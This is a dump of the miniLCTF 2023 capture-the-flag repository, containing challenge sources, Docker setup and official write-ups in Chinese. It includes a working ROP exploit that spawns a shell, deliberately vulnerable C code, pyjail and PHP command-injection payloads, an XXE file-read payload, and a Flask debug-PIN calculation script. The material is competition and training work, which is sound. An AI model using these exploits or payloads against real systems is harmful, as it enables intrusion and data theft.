| if m is None: 23 | return Q 24 | 25 | if n is None and q is None: 26 | x = m * p % mod 27 | y = (m + p) % mod 28 | return (x, y) 29 | 30 | if n is None and q is not None: 31 | m, n, p, q = p, q, m, n 32 | 33 | if q is None: 34 | if (n + p) % mod != 0: 35 | x = (m * p + 2) * inverse(n + p, mod) % mod 36 | y = (m + n * p) * inverse(n + p, mod) % mod 37 | return (x, y) 38 | elif (m - n ** 2) % mod != 0: 39 | x = (m * p + 2) * inverse(m - n ** 2, mod) % mod 40 | return (x, None) 41 | else: 42 | return (None, None) 43 | else: 44 | if (m + p + n * q) % mod != 0: 45 | x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod 46 | y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod 47 | return (x, y) 48 | elif (n * p + m * q + 2) % mod != 0: 49 | x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod 50 | return (x, None) 51 | else: 52 | return (None, None) 53 | 54 | def special_power(P, a, mod): 55 | res = (None, None) 56 | t = P 57 | while a > 0: 58 | if a & 1: 59 | res = point_addition(res, t, mod) 60 | t = point_addition(t, t, mod) 61 | a >>= 1 62 | return res 63 | 64 | def random_padding(message, length): 65 | pad = bytes([random.getrandbits(8) for _ in range(length - len(message))]) 66 | return message + pad -------------------------------------------------------------------------------- /Challenges/not RSA/task.py: -------------------------------------------------------------------------------- 1 | from not_RSA import * 2 | from secret import FLAG 3 | from Crypto.Util.number import * 4 | 5 | p, q = generate_prime(512), generate_prime(512) 6 | n = p * q 7 | phi = (p**2 + p + 1) * (q **2 + q + 1) 8 | 9 | 10 | d = getPrime(276) 11 | e = inverse(d, phi) 12 | tmp = getPrime(469) 13 | p0 = p + tmp 14 | 15 | pt1, pt2 = random_padding(FLAG[:len(FLAG)//2]+b'#',127), random_padding(FLAG[len(FLAG)//2:]+b'#', 127) 16 | 17 | m = (bytes_to_long(pt1), bytes_to_long(pt2)) 18 | c = special_power(m, e, n) 19 | 20 | print(f"c = {c}") 21 | print(f"n = {n}") 22 | print(f"e = {e}") 23 | print(f"p0 = {p0}") 24 | """ 25 | c = (99256707703226697226473841185259891785249728547098403329816239886722383460401685922071518907503131597586071155779535217957728713395973126772467862964939878117327514388525570332680833383088079421676354296281469250418264543833996288111463346112204924207384792233847819302304599120532752360882845527395569869907, 22655358796075424487044406387957775030913109276145369023351200306937368259451273503046617611110582153415768404632774105652118572620829335937285604752846386248015325031053581797994703852239663030464437053164169557845378554791579176562234005623449839772205446210182378591192462742536627314113540667791362602148) 26 | n = 103255210447201501371417366314698617128571899104178153644502440939179707560694633551313596814867085426522157527557873368089757491021794381392940645658031944937376477744644393844781470315770893253591718873148298034783254899285894192568113349056391974188706470251298810392910953025658474958447750644663120809161 27 | e = 9583844349143763216577056030562049770207021495053166931622586942299664240152962005166123845294740910682002626836306629541171186155613228080333603389256263599077945629292275075204305859845966709343064493385561097725880568307482154382068336740221552489762224156862649726139521041709368241009505934006275050727466118506845275244191749935821428533956123008950814817446865191293160484499980805375127998664220058827288306710393417375308743911041896280674963812278295706552776413678414777273337864851457733395645762523718466931204393235542589232058708808567310860905450262329471814920834990514208969596816366119172152233564 28 | p0 = 8989358155637718504643502172367267711566059539795670198816016094340804453065250030031846883560365745256555868280844477116616537047437144736243403626554094 29 | """ -------------------------------------------------------------------------------- /Challenges/pycalculator/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y python3 socat 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN mkdir /home/ctf/bin && \ 12 | cp /bin/sh /home/ctf/bin && \ 13 | cp /bin/ls /home/ctf/bin && \ 14 | cp /bin/cat /home/ctf/bin && \ 15 | cp /usr/bin/socat /home/ctf/bin 16 | 17 | COPY ./start.sh /start.sh 18 | COPY ./server.py /home/ctf/ 19 | 20 | RUN chown -R root:ctf /home/ctf && \ 21 | chmod -R 750 /home/ctf && \ 22 | chmod +x /home/ctf/server.py && \ 23 | chmod +x /start.sh 24 | CMD ["/start.sh"] 25 | 26 | EXPOSE 9999 27 | -------------------------------------------------------------------------------- /Challenges/pycalculator/chall.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | def filter(s): 3 | table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 4 | return any(i in table for i in s) 5 | def welcome(): 6 | print(r""" 7 | __________ _________ .__ .__ __ 8 | \______ \ ___.__.\_ ___ \ _____ | | ____ __ __ | | _____ _/ |_ ____ _______ 9 | | ___/< | |/ \ \/ \__ \ | | _/ ___\ | | \| | \__ \ \ __\/ _ \\_ __ \ 10 | | | \___ |\ \____ / __ \_| |__\ \___ | | /| |__ / __ \_| | ( <_> )| | \/ 11 | |____| / ____| \______ /(____ /|____/ \___ >|____/ |____/(____ /|__| \____/ |__| 12 | \/ \/ \/ \/ \/ 13 | """) 14 | print("welcome to pycalculator!") 15 | print("Type some simple expressions and I will calculate the result for you.") 16 | def main(): 17 | welcome() 18 | while True: 19 | inp = input(">>> ") 20 | if len(inp) > 32: 21 | print("input too long") 22 | continue 23 | if filter(inp): 24 | print("oh hacker!") 25 | exit(1) 26 | else: 27 | try: 28 | res = eval(inp) 29 | print(res) 30 | except: 31 | print("invalid expression") 32 | if __name__ == '__main__': 33 | main() 34 | -------------------------------------------------------------------------------- /Challenges/pycalculator/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /home/ctf/flag 4 | export FLAG= 5 | # DO NOT DELETE 6 | socat tcp-l:9999,fork,reuseaddr exec:./chall.py && /bin/sh 7 | sleep infinity; 8 | -------------------------------------------------------------------------------- /Challenges/twins/attachment/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/twins/attachment/libc-2.31.so -------------------------------------------------------------------------------- /Challenges/twins/attachment/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/twins/attachment/pwn -------------------------------------------------------------------------------- /Challenges/twins/attachment/twins.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from subprocess import * 3 | 4 | p1 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True) 5 | p2 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True) 6 | 7 | out1 = p1.stdout.readline() 8 | out2 = p2.stdout.readline() 9 | print(out1[:-1].decode(), flush=True) 10 | 11 | def interact(proc, line): 12 | alive = True 13 | try: 14 | proc.stdin.write(line) 15 | proc.stdin.flush() 16 | except Exception as e: 17 | alive = False 18 | return proc.stdout.readline(), alive 19 | 20 | a1, a2 = True, True 21 | 22 | while a1 and a2: 23 | line = sys.stdin.buffer.readline() 24 | out1, a1 = interact(p1, line) 25 | out2, a2 = interact(p2, line) 26 | if out1 != out2: 27 | print("Output conflict!", flush=True) 28 | print(f'process 1: {out1}', flush=True) 29 | print(f'process 2: {out2}', flush=True) 30 | break 31 | else: 32 | print(out1[:-1].decode(), flush=True) 33 | -------------------------------------------------------------------------------- /Challenges/twins/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd python3 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /usr/lib* /home/ctf 12 | RUN mkdir /home/ctf/usr && cp -R /usr/lib* /home/ctf/usr 13 | 14 | RUN mkdir /home/ctf/bin && \ 15 | cp /bin/sh /home/ctf/bin && \ 16 | cp /bin/ls /home/ctf/bin && \ 17 | cp /bin/cat /home/ctf/bin && \ 18 | cp /bin/python3 /home/ctf/bin 19 | 20 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 21 | COPY ./start.sh /start.sh 22 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 23 | 24 | RUN chmod +x /start.sh 25 | 26 | COPY ./pwn /home/ctf/ 27 | COPY ./twins.py /home/ctf/ 28 | RUN chown -R root:ctf /home/ctf && \ 29 | chmod -R 750 /home/ctf 30 | 31 | CMD ["/start.sh"] 32 | 33 | EXPOSE 9999 34 | -------------------------------------------------------------------------------- /Challenges/twins/docker/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf python3 twins.py 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | -------------------------------------------------------------------------------- /Challenges/twins/docker/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/twins/docker/pwn -------------------------------------------------------------------------------- /Challenges/twins/docker/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /home/ctf/flag 4 | export FLAG= 5 | # DO NOT DELETE 6 | /etc/init.d/xinetd start; 7 | sleep infinity; 8 | -------------------------------------------------------------------------------- /Challenges/twins/docker/twins.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from subprocess import * 3 | 4 | p1 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True) 5 | p2 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True) 6 | 7 | out1 = p1.stdout.readline() 8 | out2 = p2.stdout.readline() 9 | print(out1[:-1].decode(), flush=True) 10 | 11 | def interact(proc, line): 12 | alive = True 13 | try: 14 | proc.stdin.write(line) 15 | proc.stdin.flush() 16 | except Exception as e: 17 | alive = False 18 | return proc.stdout.readline(), alive 19 | 20 | a1, a2 = True, True 21 | 22 | while a1 and a2: 23 | line = sys.stdin.buffer.readline() 24 | out1, a1 = interact(p1, line) 25 | out2, a2 = interact(p2, line) 26 | if out1 != out2: 27 | print("Output conflict!", flush=True) 28 | print(f'process 1: {out1}', flush=True) 29 | print(f'process 2: {out2}', flush=True) 30 | break 31 | else: 32 | print(out1[:-1].decode(), flush=True) 33 | -------------------------------------------------------------------------------- /Challenges/twins/exp/.debug: -------------------------------------------------------------------------------- 1 | /home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/.debug -------------------------------------------------------------------------------- /Challenges/twins/exp/.gdb_history: -------------------------------------------------------------------------------- 1 | attach 288816 2 | finish 3 | ni 4 | ni 5 | q 6 | q 7 | attach 290177 8 | finish 9 | ni 10 | ni 11 | si 12 | libc 13 | attach 293215 14 | finish 15 | ni 16 | ni 17 | tele 0x404040 18 | ni 19 | tele 0x404040 20 | ni 21 | ni 22 | si 23 | ni 24 | ni 25 | ni 26 | ni 27 | ni 28 | ni 29 | ni 30 | c 31 | q 32 | -------------------------------------------------------------------------------- /Challenges/twins/exp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(os='linux', arch='amd64' , log_level='debug') 3 | 4 | procname = './pwn' 5 | libcname = './libc.so.6' 6 | 7 | # io = process(['python', './twins.py'], stdin=PTY) 8 | # io = process('./twins', stdin=PTY) 9 | # io = process(procname, stdin=PTY) 10 | io = remote('127.0.0.1', 42853) 11 | elf = ELF(procname) 12 | libc = ELF(libcname) 13 | 14 | n2b = lambda x : str(x).encode() 15 | rv = lambda x : io.recv(x) 16 | ru = lambda s : io.recvuntil(s, drop=True) 17 | sd = lambda s : io.send(s) 18 | sl = lambda s : io.sendline(s) 19 | sn = lambda s : sl(n2b(n)) 20 | sa = lambda p, s : io.sendafter(p, s) 21 | sla = lambda p, s : io.sendlineafter(p, s) 22 | sna = lambda p, n : sla(p, n2b(n)) 23 | ia = lambda : io.interactive() 24 | rop = lambda r : flat([p64(x) for x in r]) 25 | 26 | ret = 0x00401284 27 | add_dword_rbp_0x3d_ebx_ret = 0x0040115c 28 | pop_rbx_rbp_r12_r13_r14_r15_ret = 0x0040127a 29 | csu = 0x00401257 30 | bss = elf.bss(0) 31 | buf = elf.bss(0x40) 32 | 33 | def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss): 34 | return rop([ 35 | pop_rbx_rbp_r12_r13_r14_r15_ret, 36 | 0, 1, rdi, rsi, rdx, addr, csu, 37 | 0, 0, rbp, 0, 0, 0, 0, 38 | ]) 39 | 40 | def add(off, addr=bss): 41 | return flat([ 42 | pop_rbx_rbp_r12_r13_r14_r15_ret, 43 | off, addr + 0x3d, 0, 0, 0, 0, 44 | add_dword_rbp_0x3d_ebx_ret, 45 | ]) 46 | 47 | last = libc.sym._IO_2_1_stdout_ 48 | def call(func, rdi=0, rsi=0, rdx=0): 49 | global last 50 | res = flat([ 51 | add(func - last), 52 | ret2csu(rdi, rsi, rdx) 53 | ]) 54 | last = func 55 | return res 56 | 57 | payload = b'a' * 0x18 + flat([ 58 | ret, 59 | add(0x6e69622f, buf), 60 | add(0x0068732f, buf + 4), 61 | call(libc.sym.system, buf) 62 | ]) 63 | 64 | sla(b'name?\n', payload) 65 | 66 | ia() 67 | -------------------------------------------------------------------------------- /Challenges/twins/src/pwn.c: -------------------------------------------------------------------------------- 1 | // gcc pwn.c -o pwn -no-pie -fno-pic -fno-stack-protector 2 | #include 3 | 4 | void pwn() { 5 | char buf[0x10]; 6 | puts("Welcome to 2023 miniL! Let's play a very eazy game! What's your name?"); 7 | gets(buf); 8 | puts("Good luck!"); 9 | } 10 | 11 | int main() { 12 | setvbuf(stdin, NULL, _IONBF, 0); 13 | setvbuf(stdout, NULL, _IONBF, 0); 14 | setvbuf(stderr, NULL, _IONBF, 0); 15 | pwn(); 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /Challenges/twins/src/twins.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from subprocess import * 3 | 4 | p1 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True) 5 | p2 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True) 6 | 7 | out1 = p1.stdout.readline() 8 | out2 = p2.stdout.readline() 9 | print(out1[:-1].decode(), flush=True) 10 | 11 | def interact(proc, line): 12 | alive = True 13 | try: 14 | proc.stdin.write(line) 15 | proc.stdin.flush() 16 | except Exception as e: 17 | alive = False 18 | return proc.stdout.readline(), alive 19 | 20 | a1, a2 = True, True 21 | 22 | while a1 and a2: 23 | line = sys.stdin.buffer.readline() 24 | out1, a1 = interact(p1, line) 25 | out2, a2 = interact(p2, line) 26 | if out1 != out2: 27 | print("Output conflict!", flush=True) 28 | print(f'process 1: {out1}', flush=True) 29 | print(f'process 2: {out2}', flush=True) 30 | break 31 | else: 32 | print(out1[:-1].decode(), flush=True) 33 | -------------------------------------------------------------------------------- /Official/Misc.md: -------------------------------------------------------------------------------- 1 | ## pycalculator 2 | 3 | ### 题目简述 4 | 5 | 简单的pyjail,只有远程环境,没有给附件 6 | 7 | 简单试一试可以发现,过滤了所有英文字母,且输入长度限定不超过32位 8 | 9 | ### 预期解 10 | 11 | unicode字符绕过 + 八进制代替字符串 12 | 13 | `open('\146\154\141\147').read()` 14 | 15 | ### 非预期 16 | 17 | 限制了输入的长度,却忘了input,很多选手直接`eval(input())`让长度完全没有意义 18 | -------------------------------------------------------------------------------- /Official/Pwn.md: -------------------------------------------------------------------------------- 1 | ## 3calls 2 | 3 | 给出 libc 基地址, 仅允许三次 libc 函数调用, 但是不能传参数. 观察一下寄存器, 可以发现 rdi 是 libc 的数据段, 具有写权限. gdb 加载一下 libc 的调试符号, 可以看到是 `_IO_stdfile_1_lock`. 考虑使用 `system()` 函数, 需要向 rdi 上写一个 `"/bin/sh"`, 很容易想到 `gets()` 函数. 尝试一下, 发现 `gets()` 之后 rdi 会变, 不过是也是一个可写的地址, 这回变成了 `_IO_stdfile_0_lock`. 在调用用户指定函数之前, 程序有一个 `puts()`, 可以发现这里的两个 rdi 的 lock 分别对应了 stdout (fd = 1) 和 stdin (fd = 0), 可以猜测是某种锁. 所以可以再一次调用 `gets()`, 第二次 `gets()` 前后 rdi 都是 `_IO_stdfile_0_lock`, 所以可以输入 `"/bin/sh"`, 然后调用 `system()`. 4 | 5 | 不过, 第一个 `gets()` 内容不能随意输入, 因为它会覆盖 `_IO_stdfile_1_lock` 的内容, 如果输入不得当, 相当于 "被上锁". 第二个 `gets()` 中会去尝试获取这个锁, 导致死锁. 所以第一个 `gets()` 输入的内容必须要绕过这个点. 可以只输入一个 `"\n"`, 不会向 `_IO_stdfile_1_lock` 输入内容; 或者输入 `"\0" * 0x8`, 不破坏锁的内容. 6 | 7 | 第二个 `gets()` 输入 `"/bin/sh"` 并不能够获得 shell, 可以看到提示 `sh: 1: /bin.sh: not found`. 这是因为 `gets()` 会先获取 `_IO_stdfile_0_lock`, 结束后又会释放这个锁. 在这中间过程, 我们把他覆盖成了 `"/bin/sh"`, 释放锁的话会破坏掉它. 锁结构在 0x4 的位置有一个 `cnt` 变量, 用于计数拥有锁的进程, 释放锁的时候这个值会减 1. 于是变成了 `/bin.sh`. 所以我们需要把第二个 `'/'` (0x2f) 变为 `'0'` (0x30), 这样释放锁后, 整个就变为 `"/bin/sh"`. 8 | 9 | ## twins 10 | 11 | 程序是简单的栈溢出, 但是会启动两个程序, 对比他们的输出, 如果不一致则退出. 一般情况我们是泄漏 libc, 然后 ROP get shell. 不过由于 ASLR 的原因, 两个程序的 libc 地址会不一样, 即不能泄漏 libc. 而内存中是有 libc 地址的, 比如 .bss 上的 stdin 等. 程序没有开 PIE, 放有 libc 地址的内存已知. 而我们学过的 ret2csu 可以 call [addr], 如果能写一个 ROP 直接通过偏移计算想要的函数, 那么就可以 ret2csu 调用, 不需要泄漏. 用一些工具可以找到这样的一个 gadget: `0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret`. 如果可以控制 rbp 和 ebx, 那么就可以进行上述操作. 幸运的是, ret2csu 其实就有 `pop rbx; pop rbp`. 12 | 13 | 程序没开 FULL RELRO, 存在一个非预期 ret2dlresolve. (出题人没学过这个, 爬了) 14 | 15 | ## broken_machine 16 | 17 | 程序读入一段内容到 .bss 上, 只能有一个 `n`. 然后尝试在 0x1000 地址 mmap 一段 rwx 权限的空间, 用 `sprintf(s, buf)` 拷贝过去. 之后设置沙箱, call 0x1000 去执行. 但是 `mmap_min_addr` 默认 0x10000, 所以实际上申请到的地址是 0x10000, call 0x1000 会导致段错误. 程序在一开始捕捉 `SIGSEGV` 信号, 处理段错误, 输出一些提示后 `exit()` 退出. 18 | 19 | 很明显的格式化字符串漏洞. 但是 buf 不在栈上, 且只能一次 `%n`, 想任意地址写比较难. 观察一下栈, 发现栈上有残留的 `_rtld_global.dl_ns[0]._ns_loaded->link_map->l_addr` 的地址. 20 | 21 | 程序使用 `exit()` 退出的时候会调用 `_dl_fini()`, 执行如下代码: 22 | 23 | ```c 24 | // l = _rtld_global.dl_ns[0]._ns_loaded->link_map 25 | // DT_FINI_ARRAY = 26 26 | // DT_FINI_ARRAYSZ = 28 27 | if (l->l_info[DT_FINI_ARRAY] != NULL) 28 | { 29 | ElfW(Addr) *array = 30 | (ElfW(Addr) *) (l->l_addr 31 | + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); 32 | unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val 33 | / sizeof (ElfW(Addr))); 34 | while (i-- > 0) 35 | ((fini_t) array[i]) (); 36 | } 37 | ``` 38 | 39 | 这段代码原本是用来执行程序 .fini.array 中的函数的, 在本题 (没有开启 PIE) 的情况下, `l->l_addr = 0`, `l->l_info[DT_FINI_ARRAY]->d_un.d_ptr = .fini.array`, `l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val = 8`. 40 | 41 | 可以用一次 `%n`, 把 `l->l_addr` 写上其他的值, 这样最后的 `array` 就会偏移. 我们可以让 `array` 到 bss 的某处, 在这里通过输入写上 0x10000, 最后 `exit()` -> `_dl_fini()` 就可以执行写入的 shellcode 了. 需要注意的是, `sprintf()` 遇到 `'\0'` 会停止, 编写的 shellcode 不要有 `0x00` 字节. 42 | 43 | (如果开启了 PIE, 那么 `l->l_addr` 是程序基地址, `l->l_info[DT_FINI_ARRAY]->d_un.d_ptr` 是 `.fini.array` 的偏移量) 44 | 45 | 现在我们可以执行 shellcode 了, 但是沙箱禁用了几乎所有的 orw: 46 | 47 | ``` 48 | line CODE JT JF K 49 | ================================= 50 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 51 | 0001: 0x15 0x00 0x14 0xc000003e if (A != ARCH_X86_64) goto 0022 52 | 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 53 | 0003: 0x35 0x12 0x00 0x40000000 if (A >= 0x40000000) goto 0022 54 | 0004: 0x15 0x11 0x00 0x0000003b if (A == execve) goto 0022 55 | 0005: 0x15 0x10 0x00 0x00000142 if (A == execveat) goto 0022 56 | 0006: 0x15 0x0f 0x00 0x00000002 if (A == open) goto 0022 57 | 0007: 0x15 0x0e 0x00 0x00000101 if (A == openat) goto 0022 58 | 0008: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0022 59 | 0009: 0x15 0x0c 0x00 0x00000013 if (A == readv) goto 0022 60 | 0010: 0x15 0x0b 0x00 0x00000011 if (A == pread64) goto 0022 61 | 0011: 0x15 0x0a 0x00 0x00000127 if (A == preadv) goto 0022 62 | 0012: 0x15 0x09 0x00 0x00000039 if (A == fork) goto 0022 63 | 0013: 0x15 0x08 0x00 0x0000003a if (A == vfork) goto 0022 64 | 0014: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0022 65 | 0015: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0022 66 | 0016: 0x15 0x05 0x00 0x0000002b if (A == accept) goto 0022 67 | 0017: 0x15 0x04 0x00 0x0000009d if (A == prctl) goto 0022 68 | 0018: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0022 69 | 0019: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0022 70 | 0020: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0022 71 | 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 72 | 0022: 0x06 0x00 0x00 0x00000000 return KILL 73 | ``` 74 | 75 | ubuntu 22.04 有一个新的 syscall (暂时没去查是哪个 kernel 版本引入的, ubuntu 22.04 的内核版本是 5.15), `openat2`, 它的功能是 `openat` 的超集, 所以可以用它来打开 flag 文件. read 全被禁用了也没关系, 有一个叫 `sendfile` 的系统调用, 可以直接通过文件描述符来传送. 76 | 77 | 设置沙箱的位置在 `sprintf` 之后, 存在非预期直接利用 `sprintf` 产生段错误, 绕过沙箱. 78 | 79 | ## ezbook 80 | 81 | 堆菜单题, 增改查没有删, 个数 0x100, 大小 0x1000. book 的 title 和 content 都要求唯一, 并且在 create 和 edit 时, 会创建一个线程来遍历检查. 检查每个 book 的每个字符, 但并不是完全遍历, 而是一旦发现不同, 立马返回. check 失败后会 free. 82 | 83 | 程序对每个变量都加了锁, 但是对 books 使用的是读写锁. 读写锁可以供多个线程读取, 但是只能有一个线程写, 其他线程不可读不可写. 程序在 create 时, 不管 title 或者 content 是否唯一, 先记录了 sizes 变量, 然后 check 发现不唯一后, 把 `size_cnt--`; 唯一的话再设置 `books[book_cnt++] = buf`. 这里存在一个条件竞争. 84 | 85 | 如果某个会失败的 create (假设第 i 个) 经历了很多字符比较, 用时较长, 且我们在进行比较的时间窗口内, 再 create 一个 (第 i+1 个), 此时会导致 `size_cnt++`. 当第 i 个的 check 失败时, `size_cnt--`. 但是第 i+1 个是成功的. 这样就会让第 i+1 个 book 对应的是第 i 个的 size. 如果第 i 个的 size 大于第 i+1 个的, 那么 edit 时就会溢出. 86 | 87 | 完成这个条件竞争后就是堆溢出了, 不再赘述. 88 | 89 | 远程可能会有一些网络延迟, 出题时刻意在比较字符的时候进行了一系列文件操作, 同时把 book 个数和大小放的很大, 应该是能够 race 上的. 赛时出题人 (在学校) 自测用 4 个 book, 每个 0xfff 个字节去比较可以达成. 90 | 91 | (exp 在 leak libc 的时候用的是 0x80 先填充 tcache bin, 因为前一版题目大小限制了 0x80, 后来也懒得改了. 其实完全没有必要这样做, 可以直接 free 一个更大的堆块到 unsorted bin 然后 malloc 回来 show) 92 | -------------------------------------------------------------------------------- /Official/Web.md: -------------------------------------------------------------------------------- 1 | ## Sigin 2 | 3 | **by 安权** 4 | 5 | index.php页面源码发现注释 `shell.php` 6 | 7 | ```php 8 | $c(),$d,$e); 34 | $str2 = substr($class->$c(),$f,$g); 35 | $str1($str2); 36 | 37 | //flag.php 38 | ``` 39 | 40 | \$str1(\$str2);存在任意代码执行,利用php的内置类Exception的__toString方法来触发任意代码执行 41 | 42 | ```php 43 | __toString(); 46 | 47 | 测试输出: 48 | 49 | exception 'Exception' with message 'test string' in 50 | D:\phpstudy_pro\WWW\test.php:2 Stack trace: #0 {main} 51 | ``` 52 | 53 | 通过new Exception("xxx");实例化一个Exception类,\$str1和\$str2都变为可控的 54 | 55 | 命令执行直接读flag,过滤了php,通配符绕过读出flag payload: 56 | 57 | ``` 58 | ?a=Exception&b=systemcat%20flag.p?p&c=__toString&d=36&e=6&f=42&g=12 59 | ``` 60 | 61 | ## fake_login 62 | 63 | **by xlccccc** 64 | 65 | 本题是由于 **ezsql** 和 **minijava** 的解题情况太过惨淡从而赛中临时出的一道简单题,但解题情况也不太好 = = 66 | 67 | ### xxe 68 | 69 | 打开题目只有一个登录框,猜出账号密码 `admin/admin` 也没有任何东西 70 | 71 | ![image-20230510230717235](Web_Writeup.assets/image-20230510230717235.png) 72 | 73 | 抓包或者看一下js代码可以很容易的发现提交的登录框提交的是xml 74 | 75 | 至于为什么放 **hint: 这个登录页面的js代码怎么这么奇怪?** 76 | 77 | 是由于有个人问我 **已经把这题xss了,为什么没有bot被X到?** 78 | 79 | 懵逼的我问他怎么看出的xss,他说能搜到这题是websocket的xss漏洞,至今我也没想明白一个只有alert回显的登录框怎么被xss的 80 | 81 | 于是本以为这个xxe很明显的出题人,顶着刚说的**真签到题**给出了这个hint 82 | 83 | xxe payload 84 | 85 | ```xml 86 | 88 | ]> 89 | &xxe;&xxe; 90 | ``` 91 | 92 | ### flask 算 pin 93 | 94 | 当你拿到这个只能读文件的xxe,肯定会尝试读一下`/flag` ,读完之后你就能发现它提示你要rce 95 | 96 | 到这里,可能一部分经验不足的师傅就没有头绪了(不过组会讲过为什么会没有头绪呢?) 97 | 98 | 而且我相信,当你没有头绪乱读文件时,大概率能看到**flask的开启debug后报错页面**,那你就可以拿着一点google一下 99 | 100 | ![image-20230510231708019](Web_Writeup.assets/image-20230510231708019.png) 101 | 102 | 第一个结果就告诉你了办法,**flask算pin**(是不是很容易呢? 103 | 104 | 根据它的结果你可能读到了正确的值,但是没能进入**console**,于是你开始读更多的文章,或者你能敏感的发现python的版本是3.9,猜到可能和版本有关,又或者你根据这个版本自己搭了一个环境跟着调试了一下等等等 105 | 106 | 以上办法用不了多久你就会发现,**flask算pin竟然和版本也有关系** 107 | 108 | 于是你找到了正确的文章,他会告诉你 109 | 110 | > 第一个值 读 /etc/passwd 猜 username 你会得到很明显的 minictfer(因为本题由于xml的原因 /proc/self/environ 里的特殊字符会导致报错 111 | > 112 | > 第二个值 flask.app 不变 113 | > 114 | > 第三个值 Flask 115 | > 116 | > 第四个值 根据报错可看到 /usr/local/lib/python3.9/site-packages/flask/app.py 117 | > 118 | > 第五个值 读 /sys/class/net/eth0/address 得到十六进制的 类似`00:15:5d:55:d2:f3` 去掉冒号转为十进制便可得到第五个值 119 | > 120 | > 第六个值 首先访问`/etc/machine-id`,有值就**break**,没值就访问`/proc/sys/kernel/random/boot_id`,然后不管此时有没有值,再访问`/proc/self/cgroup`其中的值拼接到前面的值后面 121 | 122 | 但由于平台docker环境不同,读`/proc/self/cgroup`你会发现得到的是`0::/`,那就是没有值呗,为什么好多同学会看某个博客说的是因为被过滤了去读其它的文件? 123 | 124 | 这是 flask 读取该值的逻辑 125 | 126 | ![image-20230510233134632](Web_Writeup.assets/image-20230510233134632.png) 127 | 128 | 脚本 129 | 130 | ```python 131 | import hashlib 132 | from itertools import chain 133 | probably_public_bits = [ 134 | 'minictfer'# username /proc/self/environ /etc/passwd 135 | 'flask.app',# modname 136 | 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 137 | '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None), 138 | ] 139 | 140 | private_bits = [ 141 | '2485377892357',# /sys/class/net/eth0/address 142 | '0e3f1348-aaee-4680-ae33-6b3d626a9c91' 143 | ] 144 | 145 | h = hashlib.sha1() 146 | for bit in chain(probably_public_bits, private_bits): 147 | if not bit: 148 | continue 149 | if isinstance(bit, str): 150 | bit = bit.encode("utf-8") 151 | h.update(bit) 152 | h.update(b"cookiesalt") 153 | 154 | cookie_name = f"__wzd{h.hexdigest()[:20]}" 155 